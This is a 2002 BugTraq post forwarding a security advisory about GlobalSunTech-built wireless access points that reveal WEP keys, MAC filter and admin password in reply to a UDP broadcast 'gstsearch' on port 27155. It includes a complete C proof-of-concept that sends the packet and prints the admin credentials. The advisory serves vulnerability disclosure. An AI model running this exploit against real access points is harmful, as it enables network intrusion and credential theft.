BugTraq
Accesspoints disclose wep keys, password and mac filter (fwd) Nov 03 2002 01:43PM
Tom Knienieder (knienieder khamsin ch) (5 replies)

KHAMSIN Security News
KSN Reference: 2002-11-01 0001 ULO
------------------------------------------------------------------------
---

Title
-----
Accesspoints disclose wep keys, password and mac filter

Date
----
2002-11-01

Description:
------------

GlobalSunTech develops Wireless Access Points for OEM customers like
Linksys, D-Link and others. Capturing the traffic of a WISECOM GL2422AP-0T
during the setup phase showed a security problem.

Sending a broadcast packet to UDP port 27155 containing the string
"gstsearch" causes the accesspoint to return wep keys, mac filter and
admin password. This happens on the WLAN Side and on the LAN Side.

Systems Affected
----------------
Vulnerable, tested, OEM Version from GlobalSunTech:
WISECOM GL2422AP-0T

Possibly vulnerable, not tested, OEM Version from GlobalSunTech:
D-Link DWL-900AP+ B1 version 2.1 and 2.2
ALLOY GL-2422AP-S
EUSSO GL2422-AP
LINKSYS WAP11-V2.2

Proof of concept:
-----------------

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>

typedef struct {
char type[28];
char name[32];
char user[16];
char pass[16];
}
__attribute__ ((packed)) answer;

int main()
{
char rcvbuffer[1024];
struct sockaddr_in sin;
answer* ans = (answer *)rcvbuffer;
int sd, ret, val;

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("255.255.255.255");
sin.sin_port = htons(27155);

sd = socket(AF_INET, SOCK_DGRAM, 0);
if (sd < 0)
perror("socket");

val = 1;
ret = setsockopt(sd, SOL_SOCKET, SO_BROADCAST, &val, sizeof(val));
if (ret < 0)
{
perror("setsockopt");
exit(1);
}

ret = sendto(sd, "gstsearch", 9, 0, &sin, sizeof(struct sockaddr));
if (ret < 0)
{
perror("sendto");
exit(1);
}

ret = read(sd,&rcvbuffer,sizeof(rcvbuffer));

printf("Type : %s\n",ans->type);
printf("Announced Name : %s\n",ans->name);
printf("Admin Username : %s\n",ans->user);
printf("Admin Password : %s\n",ans->pass);

return 0;
}

Disclaimer
-----------

This advisory does not claim to be complete or to be usable for
any purpose. Especially information on the vulnerable systems may
be inaccurate or wrong. Possibly supplied exploit code is not to
be used for malicious purposes, but for educational purposes only.
This advisory is free for open distribution in unmodified form.

http://www.khamsin.ch

[ reply ]
Re: Accesspoints disclose wep keys, password and mac filter (fwd) Nov 05 2002 02:24PM
Thomas Sarlandie (sarfata altern org)
Re: Accesspoints disclose wep keys, password and mac filter (fwd) Nov 05 2002 09:44AM
Hakan Carlsson (hockey easylogic se)
Re: Accesspoints disclose wep keys, password and mac filter (fwd) Nov 04 2002 10:09PM
Tollef Fog Heen (tollef add no)
Re: Accesspoints disclose wep keys, password and mac filter (fwd) Nov 04 2002 07:16PM
Frank Louwers (frank student rug ac be)
Re: Accesspoints disclose wep keys, password and mac filter (fwd) Nov 04 2002 05:17PM
Cliff Albert (cliff oisec net)


 

Privacy Statement
Copyright 2010, SecurityFocus